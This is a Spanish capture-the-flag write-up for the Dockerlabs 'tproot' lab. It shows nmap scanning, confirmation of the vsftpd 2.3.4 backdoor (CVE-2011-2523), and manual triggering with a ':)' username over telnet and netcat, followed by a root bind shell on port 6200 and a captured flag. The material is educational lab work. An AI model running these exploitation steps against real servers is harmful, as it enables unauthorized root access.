

Dockerlabs
Máquina: tproot
Pablo José Pérez Díez

Escaneo inicial:

```
[pabli@parrot]~$ sudo nmap -sS -A -sV -O -p- 172.17.0.2
[sudo] contraseña para pabli:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-28 02:33 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT      ADDRESS
1 0.11 ms 172.17.0.2
```

Observamos que tiene abierto el puerto 21 con FTP lo cual puede ser interesante, por lo tanto, buscamos Scripts NSE de nmap que nos puedan ayudar.

Utilizamos el siguiente Script:

```
[pabli@parrot]~$ nmap -p21 --script ftp-vsftpd-backdoor 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-28 02:57 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00012s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
| VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs:  BID:48539  CVE:CVE-2011-2523
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|     Shell command: id
|     Results: uid=0(root) gid=0(root) groups=0(root)
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modu
|     http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-dow
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|     https://www.securityfocus.com/bid/48539
|_
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
```

Como podemos ver el script ha explotado exitosamente la vulnerabilidad.
El exploit permite abrir una shell en el puerto 6200/tcp y entrar en el sistema.
Sin embargo, el script solo verifica la vulnerabilidad (ejecutando `id` y mostrando que eres root), pero no mantiene la conexión abierta.

¿Cómo funciona esta vulnerabilidad?

vsftpd 2.3.4 (un servidor FTP) fue comprometido en 2011.
Los atacantes modificaron el código fuente e insertaron una backdoor.
Esta backdoor se activa cuando un usuario ingresa `:)` en su nombre.
Sin importar si ese usuario existe o no, así que se puede usar cualquier nombre de usuario, lo importante es que incluya `:)` al final para activar la backdoor.

Es decir, se reconoce `:)` como trigger y ejecuta una función oculta que abre una shell bind (en el puerto 6200) con permisos de root.

Activamos la backdoor utilizando `:)` al insertar un nombre de usuario:

```
[pabli@parrot]-[~]
$telnet 172.17.0.2 21
Trying 172.17.0.2...
Connected to 172.17.0.2.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER hello:)
331 Please specify the password.
PASS cualquiera
```

(La backdoor se activa al nivel del protocolo FTP, independientemente de la herramienta.
Por lo que se podría haber utilizado otras distintas, como por ejemplo netcat)

En este momento ya se ha abierto el puerto 6200 como podemos ver.
Nada más realizar la conexión ya tenemos una shell con privilegios de root:

```
[pabli@parrot]-[~]
$nc -nv 172.17.0.2 6200
(UNKNOWN) [172.17.0.2] 6200 (?) open
whoami
root
pwd
/tmp/vsftpd-2.3.4-infected
```

Obtenemos la flag:

```
cd
pwd
/root
ls
root.txt
cat root.txt
261fd3f32200f950f231816b4e9a0594
```

Otro ejemplo usando Netcat en vez de telnet:

```
[x]-[pabli@parrot]-[~]
$nc 172.17.0.2 21
220 (vsFTPD 2.3.4)
USER cualquier:)
331 Please specify the password.
PASS daIgual
```

```
[pabli@parrot]-[~]
$nc -nv 172.17.0.2 6200
(UNKNOWN) [172.17.0.2] 6200 (?) open
whoami
root
pwd
/tmp/vsftpd-2.3.4-infected
cd
ls
root.txt
cat root.txt
261fd3f32200f950f231816b4e9a0594
```